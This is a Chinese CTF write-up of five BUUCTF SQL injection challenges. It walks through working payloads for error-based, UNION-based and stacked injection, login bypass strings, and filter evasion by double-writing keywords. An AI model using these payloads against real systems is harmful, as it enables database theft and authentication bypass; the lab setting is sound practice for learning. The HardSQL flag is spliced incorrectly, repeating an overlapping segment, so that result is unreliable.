BUUCTF关于sql注入的题目

一.极客大挑战 2019]HardSQL

首先,这道题目我通过查看别人的wp,发现过滤了空格,=,substring,mid

  • 使用()代替空格
  • 使用like代替=
  • 使用rightleft代替substringmid

使用万能密码,发现回显报错,但是并没给报错信息

页面无显示位,但有数据库的报错信息,所以判断为报错注入

报错注入使用函数(updatexml(xml_taget,xpath,new_xml)),这个函数是用来更新指定的xml文件,xpath的格式通常是为xx/xx/xx,传进去字符串就会报错,也就会显示报错信息,

利用updatexml(1,concat(0x7e,database()),2)

concat函数将里面内容连成字符串,与xpath的格式不符,所以会报错

0x7e的axii码为~,updatexml报错信息的内容为特殊字符、字母之后的内容,为了防止查询结果丢失加上特殊字符

注:

爆数据库database()

爆表select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())

爆字段:

select(group_concat(column_name))from(information_schema.columns)where(table_name)like

('表名')

爆内容:

select(group_concat(字段)from(表))

注意爆字段的时候表名需要有单引号,爆内容时不需要加

1.输入1',界面提示报错,根据报错,说明是字符型输入,利用报错信息回显flag

注意这里面过滤了空格,所以需要用()把sql语句圈起来,不能留空格

查询数据库: 

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23

爆表:

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

爆字段:

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

爆数据,把password查出来:

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

~flag{7af70e36-fe1d-4423-9428-a

发现flag只出来了一半,所以使用使用{left(),right()}

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

得到了另一半flag:~6-fe1d-4423-9428-afbf155de8a8}

拼接到一起:flag{7af70e36-fe1d-4423-9428-a6-fe1d-4423-9428-afbf155de8a8}

二.[极客大挑战 2019]EasySQL1

因为已经确定是sql注入,所以判断它的注入类型

正常查询的回显

输入字符型判断一下,发现报错了,看报错显示 ‘1’‘’,输入的是1’,这里查询语句中应该是存在一个单引号的,所以这里报错了,多了一个单引号,说明这里存在字符型的注入,先用万能钥匙测测

使用万能钥匙一测,第一次 正常回显错误,然后又用字符型的测了一下,发现这里的报错中带有 一部分的查询语句

# 万能公式
1 and 1=1
1' and '1'='1
1 or 1=1
1' or '1'='1

flag{e51c7477-13b6-4abd-a933-58f0136b68c7}

使用  1' or '1'='1    这个万能密码发现直接登录成功,然后得到了flag

为什么 1' and '1' ='1不行?

测试的时候输入了 1’ and ‘1’='1这个有问题的payload,看报错信息中带有一个 and password=‘1’ and ‘1’=1 说明sql语句是SELECT * FROM tables WHERE username=‘1’ and ‘1’=1 and password=‘1’ and ‘1’=1 类似这样的查询,and 的两边同时为TRUE 结果才能为 TRUE,所以输入的payload一定要符合这个条件就可以登录成功了。

# payload
SELECT * FROM tables WHERE username='1' or '1'='1' and password='1' or '1'='1'
# 优先级排序:and 优先级高于 or,所以要计算 and 然后再计算 or
username='1'--->false
'1'='1'---> true
passwrod='1'--->false
'1'='1'--->true
false or (true and false) or true
false or false or true
false or true
#得出结果:true

照这种方法就可以推算出不同的解法

# payload1
# 用户名:1' and '1'='1
# 密码:1' or '1'='1

# payload2
# 用户名:1' and '1'='2
# 密码:1' or '1'='1

# 本质上都是利用 and 和 or 的优先级进行判断,只要返回 TRUE 就没问题

三.[SUCTF 2019]EasySQL1

输入数字1,发现有回显

输入字母a,发现没有回显(输入0同样没有回显)

通过查看其他大佬的wp,发现这道题目要用到堆叠注入

使用Sql堆叠注入查看信息,先用show指令查看数据库:

1;show databases;

再查看一下表:

1;show tables;

 看到Flag表,猜测flag应该在Flag中。

但是用1;show columns from Flag;无法回显出flag只会回显Nonono.  -->说明flag被过滤掉了

(注:1;show columns from用来查询表中列名称)

接下来回顾一下最开始我们输入的非0数字和0与字母所回显的内容:非0数字回显1,0和字母不会回显任何内容

    先了解一下||操作符:在MySQL中,操作符||表示“或”逻辑:

    command1 || command2
    c1和c2其中一侧为1则取1,否则取0

 这里猜测后端语句,因为只有当我们输入非零数字时才会会显出1,而0和其他全都无回显,而猜测逻辑大致是这样的:大胆猜测后端(内部查询语句)语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 ||  一个列名 from 表名。(select 输入数据 || flag from Flag)

    注:select语句用于从数据库中选取数据,返回的数据会储存在结果表中。

所以接下来搞清楚逻辑后,我们了解一下mssql中的||操作符意义:

    mssql中||表示连接操作符,不表示或的逻辑。

从这里可以找到解题方法:既然我们要找到flag,后端又存在“或” 的逻辑,那么只需要把||或的逻辑改成连接符的作用就可以了。

    这里需要借用到:设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用。(sql_mode设置)

 利用PIPES_AS_CONCAT令||起到连接符的作用。

构建payload:

    1;set sql_mode=PIPES_AS_CONCAT;select 1

    注:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag

由此回显出flag

四.[极客大挑战 2019]LoveSQL1

注入的流程:

1.万能密码登陆
2.登陆后,使用联合查询注入
3.爆字段
4.看回显
5.爆数据库
6.爆数据库的表
7.爆出表的列
8.爆出flag

1.判断注入点

使用万能账号进行判断,payload如下

  • 账号输入a' or true -- a
  • 密码随便输入 111

发现回显中给了我们密码,登录一下试一试,发现回显和上图一样

2.爆字段

check.php?username=admin ' order by 1 %23&password=1
check.php?username=admin ' order by 2 %23&password=1
check.php?username=admin ' order by 3 %23&password=1

爆前三个均回显正常,但是爆到第四个时报错

说明有3个字段

3.查看回显位

/check.php?username=1' union select 1,2,3%23&password=1

发现回显点位在2,3

4.爆数据库

check.php?username=1' union select 1,database(),version()%23&password=1

数据库名:geek
版本:10.3.18-MariaDB

5.爆表名

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

数据库表名有:
geekuser
l0ve1ysq1
根据题目,表名应该就是l0ve1ysq1

6.爆表中的列

/check.php?username=
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'
%23&password=1

7.爆flag

/check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1

换一个
l0ve1ysq1表

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
/check.php?username=1' union select 1,2,group_concat(username,0x40,password) from l0ve1ysq1 %23&password=1
/check.php?username=1' union select 1,2,group_concat(username,0x40,0x40,password) from l0ve1ysq1 %23&password=1

查看网页的源代码

发现了flag

五.[极客大挑战 2019]BabySQL1

根据前两题的经验,我们先用万能密码试一试

/check.php
?username=admin' or '1'='1
&password=1

登陆失败,尝试注释掉password的内容:

/check.php
?username=admin' %23

登陆成功,接下来尝试查询字段数:

/check.php
?username=admin' order by 3%23
&password=1

根据报错信息,可以判断出屏蔽掉了关键字:or,所以万能密码登陆失败,尝试双写绕过:

/check.php
?username=admin' oorr '1'='1%23
&password=1

因为存在将关键字置换为空的过滤,全部双写以绕过,查询字段数:

/check.php
?username=admin' uniunionon selselectect 1,2,3,4 %23
&password=1

判断出字段数为3,查询回显点位:

/check.php
?username=1' uniunionon selselectect 11,22,33 %23
&password=1

得到回显点位为23,查询当前数据库名及版本:

/check.php
?username=1' uniunionon selselectect 11,version(),database() %23
&password=1

得到数据库名为:geek,继续查询当数据库中表名:

/check.php
?username=1' uniunionon selselectect 11,22,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() %23
&password=1

得到两个表名为:b4bsql和geekuser,查询第一个表中的内容:

/check.php
?username=1' uniunionon selselectect 11,22,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' %23
&password=1

得到该表中的字段信息,查询username和password的内容:

/check.php
?username=1' uniunionon selselectect 11,22,group_concat(concat_ws(0x7e,username,passwoorrd)) frfromom geek.b4bsql %23
&password=1

发现得到的信息只露出来一半,查看网页的源代码,找到flag

发现了flag:

flag{80026d3e-02bd-4d69-997e-634ea48d0e11}
  • 24
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值